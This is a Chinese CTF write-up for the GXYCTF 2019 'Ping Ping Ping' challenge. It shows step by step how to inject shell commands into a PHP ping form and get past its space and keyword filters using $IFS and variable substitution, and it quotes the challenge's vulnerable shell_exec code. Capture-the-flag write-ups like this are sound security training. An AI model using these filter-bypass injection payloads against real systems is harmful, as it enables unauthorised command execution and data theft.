[GXYCTF 2019]Ping Ping Ping

开启NSSCTF靶场,打开链接:


在输入框中输入whoami:

可以看到?ip=whoami,猜测是个exec "ping"类型的


输入127.0.0.1看看:


输入127.0.0.1;ls:

可以看到flag.php和index.php两个文件


输入127.0.0.1;cat flag.php:

回显提示不能有空格


换成127.0.0.1;cat%20flag.php试试:

或者127.0.0.1;cat$IFS$1flag.php($1改成$加其他数字都行,都能当作空格来用)

回显提示不能有flag字符串


那接下来就查看一下index.php源码:

127.0.0.1;cat$IFS$1index.php

(这里不知道为什么在输入框中输入127.0.0.1;cat%20index.php不成功)

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
            print_r($match);
            print($ip);
            echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
            die("fxck your symbol!");
        }
        else if(preg_match("/ /", $ip)){
            die("fxck your space!");
        }
        else if(preg_match("/bash/", $ip)){
            die("fxck your bash!");
        }
        else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
            die("fxck your flag!");
        }
        $a = shell_exec("ping -c 4 ".$ip);
        echo "

";
        print_r($a);
    }

?>

看到a变量,可以尝试将a变量覆盖,然后进行绕过


构造payload:

127.0.0.1;a=g;tac$IFS$1fla$a.php

得到flag:

NSSCTF{52078772-83f9-45a9-8cf4-c54aadd279a0}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值